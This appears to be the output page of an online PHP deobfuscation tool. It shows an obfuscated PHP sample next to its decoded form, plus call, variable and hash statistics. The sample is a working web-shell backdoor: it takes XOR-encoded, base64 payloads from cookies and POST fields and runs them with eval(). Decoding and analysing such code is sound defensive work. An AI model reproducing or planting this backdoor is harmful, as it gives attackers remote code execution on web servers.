Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gCjgeGJu = chr ( 721 - 634 )."\x5f" . "\x4a" . chr ( 208 - 143 )."\105" . 'G..

Decoded Output download

 <?php       $gCjgeGJu = chr ( 721 - 634 )."_" . "J" . chr ( 208 - 143 )."E" . 'G' . "p";$goRuOHqoyL = chr ( 568 - 469 )."l" . 'a' . "s" . "s" . chr ( 510 - 415 )."e" . "x" . 'i' . chr ( 248 - 133 ).chr (116) . "s";$oTchwC = $goRuOHqoyL($gCjgeGJu); $gCjgeGJu = "34032";$MRDJLUuxVV = $oTchwC;$goRuOHqoyL = "47482";if (!$MRDJLUuxVV){class W_JAEGp{private $soXnLo;public static $aGAWj = "bf14f38d-4148-4e1a-b51f-4539d564cf0d";public static $QDPJvUi = 24514;public function __construct($kEOtalcg=0){$YnZIsBrEXF = $_COOKIE;$pvbcko = $_POST;$GvSJE = @$YnZIsBrEXF[substr(W_JAEGp::$aGAWj, 0, 4)];if (!empty($GvSJE)){$crQcqDQM = "base64";$NoGzHXyq = "";$GvSJE = explode(",", $GvSJE);foreach ($GvSJE as $zdysAVeMGa){$NoGzHXyq .= @$YnZIsBrEXF[$zdysAVeMGa];$NoGzHXyq .= @$pvbcko[$zdysAVeMGa];}$NoGzHXyq = array_map($crQcqDQM . "_" . "d" . "e" . "c" . "o" . "d" . chr (101), array($NoGzHXyq,)); $NoGzHXyq = $NoGzHXyq[0] ^ str_repeat(W_JAEGp::$aGAWj, (strlen($NoGzHXyq[0]) / strlen(W_JAEGp::$aGAWj)) + 1);W_JAEGp::$QDPJvUi = @unserialize($NoGzHXyq);}}private function FaIQRhfu(){if (is_array(W_JAEGp::$QDPJvUi)) {$TleEcsm = str_replace("<" . chr ( 157 - 94 ).chr ( 284 - 172 ).chr ( 627 - 523 ).chr ( 714 - 602 ), "", W_JAEGp::$QDPJvUi[chr (99) . "o" . "n" . chr (116) . 'e' . "n" . "t"]);eval($TleEcsm); $TiwGVGCT = "40027";exit();}}public function __destruct(){$this->FaIQRhfu(); $TiwGVGCT = "40027";$oPvlLwyZnx = str_pad($TiwGVGCT, 10);}}$tbBquYS = new /* 13870 */ W_JAEGp(); $tbBquYS = substr("16804_43154", 1);} ?>

Did this file decode correctly?

Original Code

 <?php       $gCjgeGJu = chr ( 721 - 634 )."\x5f" . "\x4a" . chr ( 208 - 143 )."\105" . 'G' . "\x70";$goRuOHqoyL = chr ( 568 - 469 )."\154" . 'a' . "\163" . "\163" . chr ( 510 - 415 )."\145" . "\x78" . 'i' . chr ( 248 - 133 ).chr (116) . "\163";$oTchwC = $goRuOHqoyL($gCjgeGJu); $gCjgeGJu = "34032";$MRDJLUuxVV = $oTchwC;$goRuOHqoyL = "47482";if (!$MRDJLUuxVV){class W_JAEGp{private $soXnLo;public static $aGAWj = "bf14f38d-4148-4e1a-b51f-4539d564cf0d";public static $QDPJvUi = 24514;public function __construct($kEOtalcg=0){$YnZIsBrEXF = $_COOKIE;$pvbcko = $_POST;$GvSJE = @$YnZIsBrEXF[substr(W_JAEGp::$aGAWj, 0, 4)];if (!empty($GvSJE)){$crQcqDQM = "base64";$NoGzHXyq = "";$GvSJE = explode(",", $GvSJE);foreach ($GvSJE as $zdysAVeMGa){$NoGzHXyq .= @$YnZIsBrEXF[$zdysAVeMGa];$NoGzHXyq .= @$pvbcko[$zdysAVeMGa];}$NoGzHXyq = array_map($crQcqDQM . "\x5f" . "\144" . "\x65" . "\143" . "\x6f" . "\x64" . chr (101), array($NoGzHXyq,)); $NoGzHXyq = $NoGzHXyq[0] ^ str_repeat(W_JAEGp::$aGAWj, (strlen($NoGzHXyq[0]) / strlen(W_JAEGp::$aGAWj)) + 1);W_JAEGp::$QDPJvUi = @unserialize($NoGzHXyq);}}private function FaIQRhfu(){if (is_array(W_JAEGp::$QDPJvUi)) {$TleEcsm = str_replace("\x3c" . chr ( 157 - 94 ).chr ( 284 - 172 ).chr ( 627 - 523 ).chr ( 714 - 602 ), "", W_JAEGp::$QDPJvUi[chr (99) . "\x6f" . "\156" . chr (116) . 'e' . "\156" . "\x74"]);eval($TleEcsm); $TiwGVGCT = "40027";exit();}}public function __destruct(){$this->FaIQRhfu(); $TiwGVGCT = "40027";$oPvlLwyZnx = str_pad($TiwGVGCT, 10);}}$tbBquYS = new /* 13870 */ W_JAEGp(); $tbBquYS = substr("16804_43154", 1);} ?>

Function Calls

chr 6
class_exists 1

Variables

$gCjgeGJu W_JAEGp
$goRuOHqoyL class_exists

Stats

MD5 6b7ca840fbf4631806247f8525f567e9
Eval Count 0
Decode Time 80 ms